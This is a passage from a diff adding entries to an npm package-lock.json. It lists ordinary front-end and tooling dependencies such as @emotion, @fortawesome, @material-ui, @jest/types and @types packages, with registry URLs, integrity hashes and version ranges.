"https://registry.npmjs.org/@emotion/cache/-/cache-10.0.29.tgz", + "integrity": "sha512-fU2VtSVlHiF27empSbxi1O2JFdNWZO+2NFHfwO0pxgTep6Xa3uGb+3pVKfLww2l/IBGLNEZl5Xf/++A4wAYDYQ==", + "dependencies": { + "@emotion/sheet": "0.9.4", + "@emotion/stylis": "0.8.5", + "@emotion/utils": "0.11.3", + "@emotion/weak-memoize": "0.2.5" + } + }, + "node_modules/@emotion/core": { + "version": "10.3.1", + "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.3.1.tgz", + "integrity": "sha512-447aUEjPIm0MnE6QYIaFz9VQOHSXf4Iu6EWOIqq11EAPqinkSZmfymPTmlOE3QjLv846lH4JVZBUOtwGbuQoww==", + "dependencies": { + "@babel/runtime": "^7.5.5", + "@emotion/cache": "^10.0.27", + "@emotion/css": "^10.0.27", + "@emotion/serialize": "^0.11.15", + "@emotion/sheet": "0.9.4", + "@emotion/utils": "0.11.3" + }, + "peerDependencies": { + "react": ">=16.3.0" + } + }, + "node_modules/@emotion/css": { + "version": "10.0.27", + "resolved": "https://registry.npmjs.org/@emotion/css/-/css-10.0.27.tgz", + "integrity": "sha512-6wZjsvYeBhyZQYNrGoR5yPMYbMBNEnanDrqmsqS1mzDm1cOTu12shvl2j4QHNS36UaTE0USIJawCH9C8oW34Zw==", + "dependencies": { + "@emotion/serialize": "^0.11.15", + "@emotion/utils": "0.11.3", + "babel-plugin-emotion": "^10.0.27" + } + }, + "node_modules/@emotion/hash": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.8.0.tgz", + "integrity": "sha512-kBJtf7PH6aWwZ6fka3zQ0p6SBYzx4fl1LoZXE2RrnYST9Xljm7WfKJrU4g/Xr3Beg72MLrp1AWNUmuYJTL7Cow==" + }, + "node_modules/@emotion/memoize": { + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.7.4.tgz", + "integrity": "sha512-Ja/Vfqe3HpuzRsG1oBtWTHk2PGZ7GR+2Vz5iYGelAw8dx32K0y7PjVuxK6z1nMpZOqAFsRUPCkK1YjJ56qJlgw==" + }, + "node_modules/@emotion/serialize": { + "version": "0.11.16", + "resolved": "https://registry.npmjs.org/@emotion/serialize/-/serialize-0.11.16.tgz", + "integrity": "sha512-G3J4o8by0VRrO+PFeSc3js2myYNOXVJ3Ya+RGVxnshRYgsvErfAOglKAiy1Eo1vhzxqtUvjCyS5gtewzkmvSSg==", + "dependencies": { + "@emotion/hash": "0.8.0", + "@emotion/memoize": "0.7.4", + "@emotion/unitless": "0.7.5", + "@emotion/utils": "0.11.3", + "csstype": "^2.5.7" + } + }, + "node_modules/@emotion/sheet": { + "version": "0.9.4", + "resolved": "https://registry.npmjs.org/@emotion/sheet/-/sheet-0.9.4.tgz", + "integrity": "sha512-zM9PFmgVSqBw4zL101Q0HrBVTGmpAxFZH/pYx/cjJT5advXguvcgjHFTCaIO3enL/xr89vK2bh0Mfyj9aa0ANA==" + }, + "node_modules/@emotion/stylis": { + "version": "0.8.5", + "resolved": "https://registry.npmjs.org/@emotion/stylis/-/stylis-0.8.5.tgz", + "integrity": "sha512-h6KtPihKFn3T9fuIrwvXXUOwlx3rfUvfZIcP5a6rh8Y7zjE3O06hT5Ss4S/YI1AYhuZ1kjaE/5EaOOI2NqSylQ==" + }, + "node_modules/@emotion/unitless": { + "version": "0.7.5", + "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.7.5.tgz", + "integrity": "sha512-OWORNpfjMsSSUBVrRBVGECkhWcULOAJz9ZW8uK9qgxD+87M7jHRcvh/A96XXNhXTLmKcoYSQtBEX7lHMO7YRwg==" + }, + "node_modules/@emotion/utils": { + "version": "0.11.3", + "resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-0.11.3.tgz", + "integrity": "sha512-0o4l6pZC+hI88+bzuaX/6BgOvQVhbt2PfmxauVaYOGgbsAw14wdKyvMCZXnsnsHys94iadcF+RG/wZyx6+ZZBw==" + }, + "node_modules/@emotion/weak-memoize": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.2.5.tgz", + "integrity": "sha512-6U71C2Wp7r5XtFtQzYrW5iKFT67OixrSxjI4MptCHzdSVlgabczzqLe0ZSgnub/5Kp4hSbpDB1tMytZY9pwxxA==" + }, + "node_modules/@fortawesome/fontawesome-common-types": { + "version": "0.2.36", + "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-common-types/-/fontawesome-common-types-0.2.36.tgz", + "integrity": "sha512-a/7BiSgobHAgBWeN7N0w+lAhInrGxksn13uK7231n2m8EDPE3BMCl9NZLTGrj9ZXfCmC6LM0QLqXidIizVQ6yg==", + "hasInstallScript": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/@fortawesome/fontawesome-svg-core": { + "version": "1.2.36", + "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-svg-core/-/fontawesome-svg-core-1.2.36.tgz", + "integrity": "sha512-YUcsLQKYb6DmaJjIHdDWpBIGCcyE/W+p/LMGvjQem55Mm2XWVAP5kWTMKWLv9lwpCVjpLxPyOMOyUocP1GxrtA==", + "hasInstallScript": true, + "dependencies": { + "@fortawesome/fontawesome-common-types": "^0.2.36" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@fortawesome/free-regular-svg-icons": { + "version": "5.15.4", + "resolved": "https://registry.npmjs.org/@fortawesome/free-regular-svg-icons/-/free-regular-svg-icons-5.15.4.tgz", + "integrity": "sha512-9VNNnU3CXHy9XednJ3wzQp6SwNwT3XaM26oS4Rp391GsxVYA+0oDR2J194YCIWf7jNRCYKjUCOduxdceLrx+xw==", + "hasInstallScript": true, + "dependencies": { + "@fortawesome/fontawesome-common-types": "^0.2.36" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@fortawesome/free-solid-svg-icons": { + "version": "5.15.4", + "resolved": "https://registry.npmjs.org/@fortawesome/free-solid-svg-icons/-/free-solid-svg-icons-5.15.4.tgz", + "integrity": "sha512-JLmQfz6tdtwxoihXLg6lT78BorrFyCf59SAwBM6qV/0zXyVeDygJVb3fk+j5Qat+Yvcxp1buLTY5iDh1ZSAQ8w==", + "hasInstallScript": true, + "dependencies": { + "@fortawesome/fontawesome-common-types": "^0.2.36" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@fortawesome/react-fontawesome": { + "version": "0.1.18", + "resolved": "https://registry.npmjs.org/@fortawesome/react-fontawesome/-/react-fontawesome-0.1.18.tgz", + "integrity": "sha512-RwLIB4TZw0M9gvy5u+TusAA0afbwM4JQIimNH/j3ygd6aIvYPQLqXMhC9ErY26J23rDPyDZldIfPq/HpTTJ/tQ==", + "dependencies": { + "prop-types": "^15.8.1" + }, + "peerDependencies": { + "@fortawesome/fontawesome-svg-core": "~1 || ~6", + "react": ">=16.x" + } + }, + "node_modules/@jest/types": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-26.6.2.tgz", + "integrity": "sha512-fC6QCp7Sc5sX6g8Tvbmj4XUTbyrik0akgRy03yjXbQaBWWNWGE7SGtJk98m0N8nzegD/7SggrUlivxo5ax4KWQ==", + "dev": true, + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^15.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": ">= 10.14.2" + } + }, + "node_modules/@jest/types/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@jest/types/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/types/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/types/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/@jest/types/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/types/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.0.5.tgz", + "integrity": "sha512-VPeQ7+wH0itvQxnG+lIzWgkysKIr3L9sslimFW55rHMdGu/qCQ5z5h9zq4gI8uBtqkpHhsF4Z/OwExufUCThew==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.11", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.11.tgz", + "integrity": "sha512-Fg32GrJo61m+VqYSdRSjRXMjQ06j8YIYfcTqndLYVAaHmroZHLJZCydsWBOTDqXS2v+mjxohBWEMfg97GXmYQg==", + "dev": true + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.4", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.4.tgz", + "integrity": "sha512-vFv9ttIedivx0ux3QSjhgtCVjPZd5l46ZOMDSCwnH1yUO2e964gO8LZGyv2QkqcgR6TnBU1v+1IFqmeoG+0UJQ==", + "dev": true, + "dependencies": { + "@jridgewell/resolve-uri": "^3.0.3", + "@jridgewell/sourcemap-codec": "^1.4.10" + } + }, + "node_modules/@kunukn/react-collapse": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@kunukn/react-collapse/-/react-collapse-1.2.7.tgz", + "integrity": "sha512-Ez4CqaPqYFdYX8k8A0Y0640tEZT6oo+Lj3g3KyzuWjkl6uOBrnBohxyUfrCoS6wYVun9GUOgRH5V3pSirrmJDQ==", + "engines": { + "node": ">=8", + "npm": ">=5" + }, + "peerDependencies": { + "react": "^16.8 || ^17.x", + "react-dom": "^16.8 || ^17.x" + } + }, + "node_modules/@material-ui/core": { + "version": "4.12.4", + "resolved": "https://registry.npmjs.org/@material-ui/core/-/core-4.12.4.tgz", + "integrity": "sha512-tr7xekNlM9LjA6pagJmL8QCgZXaubWUwkJnoYcMKd4gw/t4XiyvnTkjdGrUVicyB2BsdaAv1tvow45bPM4sSwQ==", + "dependencies": { + "@babel/runtime": "^7.4.4", + "@material-ui/styles": "^4.11.5", + "@material-ui/system": "^4.12.2", + "@material-ui/types": "5.1.0", + "@material-ui/utils": "^4.11.3", + "@types/react-transition-group": "^4.2.0", + "clsx": "^1.0.4", + "hoist-non-react-statics": "^3.3.2", + "popper.js": "1.16.1-lts", + "prop-types": "^15.7.2", + "react-is": "^16.8.0 || ^17.0.0", + "react-transition-group": "^4.4.0" + }, + "engines": { + "node": ">=8.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/material-ui" + }, + "peerDependencies": { + "@types/react": "^16.8.6 || ^17.0.0", + "react": "^16.8.0 || ^17.0.0", + "react-dom": "^16.8.0 || ^17.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@material-ui/core/node_modules/popper.js": { + "version": "1.16.1-lts", + "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1-lts.tgz", + "integrity": "sha512-Kjw8nKRl1m+VrSFCoVGPph93W/qrSO7ZkqPpTf7F4bk/sqcfWK019dWBUpE/fBOsOQY1dks/Bmcbfn1heM/IsA==" + }, + "node_modules/@material-ui/icons": { + "version": "4.11.3", + "resolved": "https://registry.npmjs.org/@material-ui/icons/-/icons-4.11.3.tgz", + "integrity": "sha512-IKHlyx6LDh8n19vzwH5RtHIOHl9Tu90aAAxcbWME6kp4dmvODM3UvOHJeMIDzUbd4muuJKHmlNoBN+mDY4XkBA==", + "dependencies": { + "@babel/runtime": "^7.4.4" + }, + "engines": { + "node": ">=8.0.0" + }, + "peerDependencies": { + "@material-ui/core": "^4.0.0", + "@types/react": "^16.8.6 || ^17.0.0", + "react": "^16.8.0 || ^17.0.0", + "react-dom": "^16.8.0 || ^17.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@material-ui/styles": { + "version": "4.11.5", + "resolved": "https://registry.npmjs.org/@material-ui/styles/-/styles-4.11.5.tgz", + "integrity": "sha512-o/41ot5JJiUsIETME9wVLAJrmIWL3j0R0Bj2kCOLbSfqEkKf0fmaPt+5vtblUh5eXr2S+J/8J3DaCb10+CzPGA==", + "dependencies": { + "@babel/runtime": "^7.4.4", + "@emotion/hash": "^0.8.0", + "@material-ui/types": "5.1.0", + "@material-ui/utils": "^4.11.3", + "clsx": "^1.0.4", + "csstype": "^2.5.2", + "hoist-non-react-statics": "^3.3.2", + "jss": "^10.5.1", + "jss-plugin-camel-case": "^10.5.1", + "jss-plugin-default-unit": "^10.5.1", + "jss-plugin-global": "^10.5.1", + "jss-plugin-nested": "^10.5.1", + "jss-plugin-props-sort": "^10.5.1", + "jss-plugin-rule-value-function": "^10.5.1", + "jss-plugin-vendor-prefixer": "^10.5.1", + "prop-types": "^15.7.2" + }, + "engines": { + "node": ">=8.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/material-ui" + }, + "peerDependencies": { + "@types/react": "^16.8.6 || ^17.0.0", + "react": "^16.8.0 || ^17.0.0", + "react-dom": "^16.8.0 || ^17.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@material-ui/system": { + "version": "4.12.2", + "resolved": "https://registry.npmjs.org/@material-ui/system/-/system-4.12.2.tgz", + "integrity": "sha512-6CSKu2MtmiJgcCGf6nBQpM8fLkuB9F55EKfbdTC80NND5wpTmKzwdhLYLH3zL4cLlK0gVaaltW7/wMuyTnN0Lw==", + "dependencies": { + "@babel/runtime": "^7.4.4", + "@material-ui/utils": "^4.11.3", + "csstype": "^2.5.2", + "prop-types": "^15.7.2" + }, + "engines": { + "node": ">=8.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/material-ui" + }, + "peerDependencies": { + "@types/react": "^16.8.6 || ^17.0.0", + "react": "^16.8.0 || ^17.0.0", + "react-dom": "^16.8.0 || ^17.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@material-ui/types": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@material-ui/types/-/types-5.1.0.tgz", + "integrity": "sha512-7cqRjrY50b8QzRSYyhSpx4WRw2YuO0KKIGQEVk5J8uoz2BanawykgZGoWEqKm7pVIbzFDN0SpPcVV4IhOFkl8A==", + "peerDependencies": { + "@types/react": "*" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@material-ui/utils": { + "version": "4.11.3", + "resolved": "https://registry.npmjs.org/@material-ui/utils/-/utils-4.11.3.tgz", + "integrity": "sha512-ZuQPV4rBK/V1j2dIkSSEcH5uT6AaHuKWFfotADHsC0wVL1NLd2WkFCm4ZZbX33iO4ydl6V0GPngKm8HZQ2oujg==", + "dependencies": { + "@babel/runtime": "^7.4.4", + "prop-types": "^15.7.2", + "react-is": "^16.8.0 || ^17.0.0" + }, + "engines": { + "node": ">=8.0.0" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0", + "react-dom": "^16.8.0 || ^17.0.0" + } + }, + "node_modules/@nicolo-ribaudo/chokidar-2": { + "version": "2.1.8-no-fsevents.3", + "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/chokidar-2/-/chokidar-2-2.1.8-no-fsevents.3.tgz", + "integrity": "sha512-s88O1aVtXftvp5bCPB7WnmXc5IwOZZ7YPuwNPt+GtOOXpPvad1LfbmjYv+qII7zP6RU2QGnqve27dnLycEnyEQ==", + "dev": true, + "optional": true + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@popperjs/core": { + "version": "2.11.4", + "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.11.4.tgz", + "integrity": "sha512-q/ytXxO5NKvyT37pmisQAItCFqA7FD/vNb8dgaJy3/630Fsc+Mz9/9f2SziBoIZ30TJooXyTwZmhi1zjXmObYg==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/popperjs" + } + }, + "node_modules/@react-dnd/asap": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@react-dnd/asap/-/asap-4.0.1.tgz", + "integrity": "sha512-kLy0PJDDwvwwTXxqTFNAAllPHD73AycE9ypWeln/IguoGBEbvFcPDbCV03G52bEcC5E+YgupBE0VzHGdC8SIXg==" + }, + "node_modules/@react-dnd/invariant": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@react-dnd/invariant/-/invariant-2.0.0.tgz", + "integrity": "sha512-xL4RCQBCBDJ+GRwKTFhGUW8GXa4yoDfJrPbLblc3U09ciS+9ZJXJ3Qrcs/x2IODOdIE5kQxvMmE2UKyqUictUw==" + }, + "node_modules/@react-dnd/shallowequal": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@react-dnd/shallowequal/-/shallowequal-2.0.0.tgz", + "integrity": "sha512-Pc/AFTdwZwEKJxFJvlxrSmGe/di+aAOBn60sremrpLo6VI/6cmiUYNNwlI5KNYttg7uypzA3ILPMPgxB2GYZEg==" + }, + "node_modules/@restart/context": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@restart/context/-/context-2.1.4.tgz", + "integrity": "sha512-INJYZQJP7g+IoDUh/475NlGiTeMfwTXUEr3tmRneckHIxNolGOW9CTq83S8cxq0CgJwwcMzMJFchxvlwe7Rk8Q==", + "peerDependencies": { + "react": ">=16.3.2" + } + }, + "node_modules/@restart/hooks": { + "version": "0.3.27", + "resolved": "https://registry.npmjs.org/@restart/hooks/-/hooks-0.3.27.tgz", + "integrity": "sha512-s984xV/EapUIfkjlf8wz9weP2O9TNKR96C68FfMEy2bE69+H4cNv3RD4Mf97lW7Htt7PjZrYTjSC8f3SB9VCXw==", + "dependencies": { + "dequal": "^2.0.2" + }, + "peerDependencies": { + "react": ">=16.8.0" + } + }, + "node_modules/@stylelint/postcss-css-in-js": { + "version": "0.37.2", + "resolved": "https://registry.npmjs.org/@stylelint/postcss-css-in-js/-/postcss-css-in-js-0.37.2.tgz", + "integrity": "sha512-nEhsFoJurt8oUmieT8qy4nk81WRHmJynmVwn/Vts08PL9fhgIsMhk1GId5yAN643OzqEEb5S/6At2TZW7pqPDA==", + "dev": true, + "dependencies": { + "@babel/core": ">=7.9.0" + }, + "peerDependencies": { + "postcss": ">=7.0.0", + "postcss-syntax": ">=0.36.2" + } + }, + "node_modules/@stylelint/postcss-markdown": { + "version": "0.36.2", + "resolved": "https://registry.npmjs.org/@stylelint/postcss-markdown/-/postcss-markdown-0.36.2.tgz", + "integrity": "sha512-2kGbqUVJUGE8dM+bMzXG/PYUWKkjLIkRLWNh39OaADkiabDRdw8ATFCgbMz5xdIcvwspPAluSL7uY+ZiTWdWmQ==", + "deprecated": "Use the original unforked package instead: postcss-markdown", + "dev": true, + "dependencies": { + "remark": "^13.0.0", + "unist-util-find-all-after": "^3.0.2" + }, + "peerDependencies": { + "postcss": ">=7.0.0", + "postcss-syntax": ">=0.36.2" + } + }, + "node_modules/@types/body-parser": { + "version": "1.19.2", + "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.2.tgz", + "integrity": "sha512-ALYone6pm6QmwZoAgeyNksccT9Q4AWZQ6PvfwR37GT6r6FWUPguq6sUmNGSMV2Wr761oQoBxwGGa6DR5o1DC9g==", + "dev": true, + "dependencies": { + "@types/connect": "*", + "@types/node": "*" + } + }, + "node_modules/@types/bonjour": { + "version": "3.5.10", + "resolved": "https://registry.npmjs.org/@types/bonjour/-/bonjour-3.5.10.tgz", + "integrity": "sha512-p7ienRMiS41Nu2/igbJxxLDWrSZ0WxM8UQgCeO9KhoVF7cOVFkrKsiDr1EsJIla8vV3oEEjGcz11jc5yimhzZw==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/connect": { + "version": "3.4.35", + "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.35.tgz", + "integrity": "sha512-cdeYyv4KWoEgpBISTxWvqYsVy444DOqehiF3fM3ne10AmJ62RSyNkUnxMJXHQWRQQX2eR94m5y1IZyDwBjV9FQ==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/connect-history-api-fallback": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.3.5.tgz", + "integrity": "sha512-h8QJa8xSb1WD4fpKBDcATDNGXghFj6/3GRWG6dhmRcu0RX1Ubasur2Uvx5aeEwlf0MwblEC2bMzzMQntxnw/Cw==", + "dev": true, + "dependencies": { + "@types/express-serve-static-core": "*", + "@types/node": "*" + } + }, + "node_modules/@types/eslint": { + "version": "8.4.1", + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.4.1.tgz", + "integrity": "sha512-GE44+DNEyxxh2Kc6ro/VkIj+9ma0pO0bwv9+uHSyBrikYOHr8zYcdPvnBOp1aw8s+CjRvuSx7CyWqRrNFQ59mA==", + "dependencies": { + "@types/estree": "*", + "@types/json-schema": "*" + } + }, + "node_modules/@types/eslint-scope": { + "version": "3.7.3", + "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.3.tgz", + "integrity": "sha512-PB3ldyrcnAicT35TWPs5IcwKD8S333HMaa2VVv4+wdvebJkjWuW/xESoB8IwRcog8HYVYamb1g/R31Qv5Bx03g==", + "dependencies": { + "@types/eslint": "*", + "@types/estree": "*" + } + }, + "node_modules/@types/estree": { + "version": "0.0.51", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.51.tgz", + "integrity": "sha512-CuPgU6f3eT/XgKKPqKd/gLZV1Xmvf1a2R5POBOGQa6uv82xpls89HU5zKeVoyR8XzHd1RGNOlQlvUe3CFkjWNQ==" + }, + "node_modules/@types/express": { + "version": "4.17.13", + "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.13.tgz", + "integrity": "sha512-6bSZTPaTIACxn48l50SR+axgrqm6qXFIxrdAKaG6PaJk3+zuUr35hBlgT7vOmJcum+OEaIBLtHV/qloEAFITeA==", + "dev": true, + "dependencies": { + "@types/body-parser": "*", + "@types/express-serve-static-core": "^4.17.18", + "@types/qs": "*", + "@types/serve-static": "*" + } + }, + "node_modules/@types/express-serve-static-core": { + "version": "4.17.28", + "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.28.tgz", + "integrity": "sha512-P1BJAEAW3E2DJUlkgq4tOL3RyMunoWXqbSCygWo5ZIWTjUgN1YnaXWW4VWl/oc8vs/XoYibEGBKP0uZyF4AHig==", + "dev": true, + "dependencies": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*" + } + }, + "node_modules/@types/hammerjs": { + "version": "2.0.41", + "resolved": "https://registry.npmjs.org/@types/hammerjs/-/hammerjs-2.0.41.tgz", + "integrity": "sha512-ewXv/ceBaJprikMcxCmWU1FKyMAQ2X7a9Gtmzw8fcg2kIePI1crERDM818W+XYrxqdBBOdlf2rm137bU+BltCA==", + "peer": true + }, + "node_modules/@types/history": { + "version": "4.7.11", + "resolved": "https://registry.npmjs.org/@types/history/-/history-4.7.11.tgz", + "integrity": "sha512-qjDJRrmvBMiTx+jyLxvLfJU7UznFuokDv4f3WRuriHKERccVpFU+8XMQUAbDzoiJCsmexxRExQeMwwCdamSKDA==" + }, + "node_modules/@types/hoist-non-react-statics": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/@types/hoist-non-react-statics/-/hoist-non-react-statics-3.3.1.tgz", + "integrity": "sha512-iMIqiko6ooLrTh1joXodJK5X9xeEALT1kM5G3ZLhD3hszxBdIEd5C75U834D9mLcINgD4OyZf5uQXjkuYydWvA==", + "dependencies": { + "@types/react": "*", + "hoist-non-react-statics": "^3.3.0" + } + }, + "node_modules/@types/html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg==", + "dev": true + }, + "node_modules/@types/http-proxy": { + "version": "1.17.8", + "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.8.tgz", + "integrity": "sha512-5kPLG5BKpWYkw/LVOGWpiq3nEVqxiN32rTgI53Sk12/xHFQ2rG3ehI9IO+O3W2QoKeyB92dJkoka8SUm6BX1pA==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/invariant": { + "version": "2.2.35", + "resolved": "https://registry.npmjs.org/@types/invariant/-/invariant-2.2.35.tgz", + "integrity": "sha512-DxX1V9P8zdJPYQat1gHyY0xj3efl8gnMVjiM9iCY6y27lj+PoQWkgjt8jDqmovPqULkKVpKRg8J36iQiA+EtEg==" + }, + "node_modules/@types/istanbul-lib-coverage": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.4.tgz", + "integrity": "sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g==", + "dev": true + }, + "node_modules/@types/istanbul-lib-report": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", + "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==", + "dev": true, + "dependencies": { + "@types/istanbul-lib-coverage": "*" + } + }, + "node_modules/@types/istanbul-reports": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz", + "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==", + "dev": true, + "dependencies": { + "@types/istanbul-lib-report": "*" + } + }, + 